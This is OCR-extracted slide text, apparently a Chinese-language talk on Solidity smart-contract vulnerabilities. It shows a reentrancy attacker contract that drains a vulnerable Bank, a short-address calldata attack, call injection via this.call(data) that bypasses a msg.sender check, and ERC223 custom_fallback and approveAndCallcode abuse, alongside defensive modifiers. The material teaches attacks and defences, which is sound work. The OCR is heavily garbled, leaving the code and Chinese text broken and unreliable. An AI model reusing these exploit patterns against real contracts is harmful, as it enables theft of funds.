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>R pragma solidity ~0.4.18;
» <address>.call(J7 V&L #E4S, argl, arg2, ...) R iig:iﬂ{
» <address>.call(bytes) sint flag? :

event Data(uint a, uint b) ;

tfunction test{uint valuel, uint wvalue2) public{
flagl = valuel;

>ca|l§<§f{i§§ﬁ$ tlag2 = valuel;

fffffffffffffff

« HYEIEFESS (4 bytes) }
o HVEWE: test(uint256,uint256) }

* bytes4(bytes32(sha3(“test(uint256,uint256)”)))

contract Sample2{
function myCall(address samplel) public{
bytesd methodId = bytesd(keccak256("test(uint256,uint256)"));

« ZHF|F (N bytes) : address(samplel).call(methodld, 1, 2);
+ HEIB— R RN AR AR SRR T Mk :
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Calldata:
Oxeb8ac921000000000000000000000000000
pragma solidity ~@.4.18; 0000000000000000000000000000000000001
0000000000000000000000000000000000000
contract Samplel{ 000000000000000000000000002
uint flagl ;
uint flag2 ;
event Data(uint a, uint b) ;
function test{uint wvaluel, uint wvalue2) public{
flagl = wvaluel; ¢ ﬁ%‘iﬁ%%%
flag2 = wvaluel; e Oxeb8ac921
Data(flagl, flag2);
} - 281
} * 0x0000000000000000000000000000000000000

000000000000000000000000001

contract Sample2{

function myCall(address samplel) public{ ABI
bytes4d methodId = bytesd4(keccak256("test(uint256,uint256)")); o 72&&2 %ﬁl‘
pacress(samp 1) - methodis 2o 24 + 0x0000000000000000000000000000000000000 it

}
} 000000000000000000000000002
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‘ User Contract

E Bank Contract contract User{

function money(address addr){

contract Bank{ Bank(addr).withdraw() ;
function withdraw(){ }
uint amountToWithdraw = balances[msg.sender] ; @
if(msg.sender.call.value(amountToWithdraw)() == false){ — function () payable{
throw ; //some log codes
} }
balances[msg.sende. !

J

A
i Attack Contract

contract Attacker{
e <address>.send(ethValue) function money(address addr){

e 2300 gas — Bank(addr).withdraw() ;

e <address>.transfer(ethValue) }
e 2300 gas function () payable{

e <address>.call.value(ethValue)() Bank(addr).withdraw() ;
B W] Fgas }




' Reentrancy s
EI Bank Contract

contract Bank{
function withdraw(){

throw ;

J

uint amountToWithdraw = balances[msg.sender] ;
if(msg.sender.call.value(amountToWithdraw)() ==

false){

balances[msg.sender] =0 ;
}
}
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withdraw

10 ether

withdraw

10 ether
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A
i Attack Contract

contract Attacker{
function money(address addr){
Bank(addr).withdraw() ;

J

function () payable{
Bank(addr).withdraw() ;

J
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contract Test{
uint a ;
function test(address addr, uint value) public{
a = value ;

WA B Ll hw

calldataloadfg %
e calldataload(position)

 MpositionH 46 AL B # B 327 1 2

* Y 1 P {Xcalldataload

d

func opCallDataload(pc *uintéd, evm *EVM, contract *Contract, memory *Memory, stack *Stack) ([
Etack.puzh(new(big.lnt}.SetEytEE(getDataﬂiglcnntraﬂtJnu*H: stack.pop(),|big32)))

return nil, nil

// getDataBig returns a slice from tj
/@ up to size with zero's. This
func hetDataEig(data [Jbyte, st ig.Int, size *big.Int) [Jbyte {

dlen := big.NewInt(int6d

hta based on the start and size and pads

s := math.BigMin(start,
e := math.BigMiolnewihig Tnt) . Add(s, size), dlen)
return commonl. RightPadBytes (data[s.Uinté4():e.Uint64()], int(size.Uinté4()))

B cmpEkxs

assembhly <
s /% "eall.=0l":8:187 contract Testd
metore (Hxdd, BxbB>
Junpii{tag_1, lt{calldatasize, Bx4>)
and{div{calldataload{(Bx@>. Bx1BH0AAEAEAREANEAAAAAAAAAARANRANEANENEERAARAEEAE
ABHHHHHHEEEY Y . Bxtrffffft >
Bxhal4d6B6
dup?
eq
tag_2
Jumpi
tag_1:
(515
dupl
revert
. %/ /% “call.sol":31:186 function testladdress adde, wint value? public{
tag_2:
Jumpiitag_J3, iszerofcallvalue)?
Bxa
dupl
Fevert
tag_3:
tag_4
and{calldataload<8Bx4>, Bxtttttftttett e eereeeeeseed
calldataload<{Bx24>
Jump{tag_ 5>
Ay 1.
stop
tag_b:
% "call.sol":BB:B? a =/
B8
% “"call.sol":88:97 a = value =/
sstore
pop
. %/ /% "ecall.sol":31:186 function test{address addr,. uint value?) public{
Junmp A7 out

auxdata: Bxalb5627a7a72305820498d512313046e21fd351248h8a2ccabel29ddebe??d)
36bh14235947hdf 6138829
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3f54699F7991023Cd4F7Bf2C89369dA6bc95b5 | 00

function transfer{address
Transfer{ _to, wvalue} ;

3f54699F7991023Cd4F7Bf2C89369dA6bcO5b5

Transfer(3f54699F7991023Cd4F7Bf2C89369dA6bc95b500, 2)

ANFE327- 1Y
msg.data
0000000000000000000000003f54699F7991023Cd

e Method Id AF7Bf2C89369dA6bc95b5 00
* 39059cbb transfer(address,uint256)

* Address : : 00 00000000000000000000000000000000000
0000000000000000000000003f54699F7991023Cd4F7Bf2 oooooooooooooooooooooooooo
C89369dA6bc95b500

RightPadBytes

e \Value

 0000000000000000000000000000000000000000000000
000000000000000002 000000000000000000000000000000000000000

0000000000000000000000200
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Transaction Receipt Event Logs

5] Address a -
Topics 0] efYcal2dddedd Thf0ad abb¥ed b Taf 3147 TE8dbAAE] 92 1o Tde T ocdhd 5266 532 6del
Hex ~ | — D000C000C0000C00000000003f54699f7991023cd4f7bf2c89369dabbe 950500

Hex

B9 1t saaie

BRITR

Transfer(3f54699F7991023Cd4F7Bf2C89369dA6bc95b500, 0x2)

Value % iUK 256 1%

modifier onlyPayloadSize(uint256 size) {
if(msg.data.length < size + 4) {
throw;

J

J

function transfer(address _to, uint256 value)
onlyPayloadSize(2 * 32) {
// some codes

J

Transfer(3f54699F7991023Cd4F7Bf2C89369dA6bc95b5, 0x200)
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> calliﬁf] )Zﬁ
<address>.call(bytes4 selection, argl, arg2, ...)

> 1] PLE 1L A\bytes:

<address>.call(bytes data)

> TEM A TV A I msg.senderse i H A —T7

% @ msg.sender == Address(A)

Address(A) Message call J715B
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> Wt iy
« ZRHI|R W] %
e <address>.call(bytes4 selection, argl, arg2, ...)

o TR T

e <add
* BytesH.
e <adc

e <adc

ress>.call(bytes4 selection, argl, arg2, ...)

iE

ress>.call(bytes data)
ress>.call(msg.data)

> Senderi% 1
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Contract A{

function pwn(address addr, bytes data){
B(addr).info(data) ;

}
J

Contract B{
function info(bytes data){
this.call(data) ;

}

function secret() public{
require(this == msg.sender);
// secret operations

}

Call B.secret();
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func 1 M 4dp

allﬂme:: g pender] = _wvalue;

_value);

return true;

roveAnc If_l 0 ~|u1 ress _spender, uint256 _walue, bytes e
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approveAndCallcode

& — ==

Contract

1B

e transferBmsg. sender;e AP EHE
s BN RTMEZRAPARKGHRE

¥

E 127¥ Abytes

transfer

¥

tokenZk &

if (balances[

IIJ IIJ e

ms

balances| T_: 5

Lﬂldnl:_: to

Transfer m__ 5
return true;

y else { return false; }

_value;
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_value);

_wvalue && balances[_to] + _

= » balances[_to])

approveAndCallcode(
addressOfContract,
0,
hex"0xa9059cbb....... 000000000000000000a“)

transfer

approveAndCallcode

—

W& Contract
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contract Samplel

event Data{uint a, uint b, uint c) ;

EVMEARIT A

e« callifl F ARl =012
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contract Sample2{
function run{address addr) public{
addr.call({bytesd{keccak256( "test(uint256

uint256,uint256)"
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// some code

assert(_to.call(bytes4(keccak256( fallback)), msg.sender,
_value, data));

function logAndCall(address to, uint _value, bytes data, string _fallback){

— I

= Contract

— AL,
1= /i

e approveHimsg. sender=FH

lue)] public returns (bool s

allowance[msg.sender ]
Approval(msg.sender,
return true;
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o
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logAndCall(addressOfContract, 10, hex"0a",
"approve(address,uint256)")

logAndCall approve

W& Contract

e approveHimsg. sender 25 %]
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internal view returns (bool) {
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' g ee: calllEANIETH

ERC223 ¥TokenAZ 5 K callback

ff ERC223 Transfer and invoke specified callback
function transfer( address to,

uint wvalue,

bytes data,

string custom_fallback )} public re

_transfer{ msg.sender, to, value, data );

* ERC22372ERC20J A
-. . | - * ERC2233CFFRET5 VAR 5]
ContractReceiver :-':r:::li-I:-_::|-1tr-.5u::F:e::E'_'..-'e"l., to ); . ° '?E%ERC223*/T\“‘{&E(J§%EP;%)\C3"E)\

requirel address(rx).ca

if ( isContract(to) )

Mg .5SENdeEr,

value,

data) );

return true,
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modifier banContractSelf() {
if(msg.sender == address(this)) {
throw;

J

S

function approve(address to, uint256 value) banContractSelf{
// some codes

}
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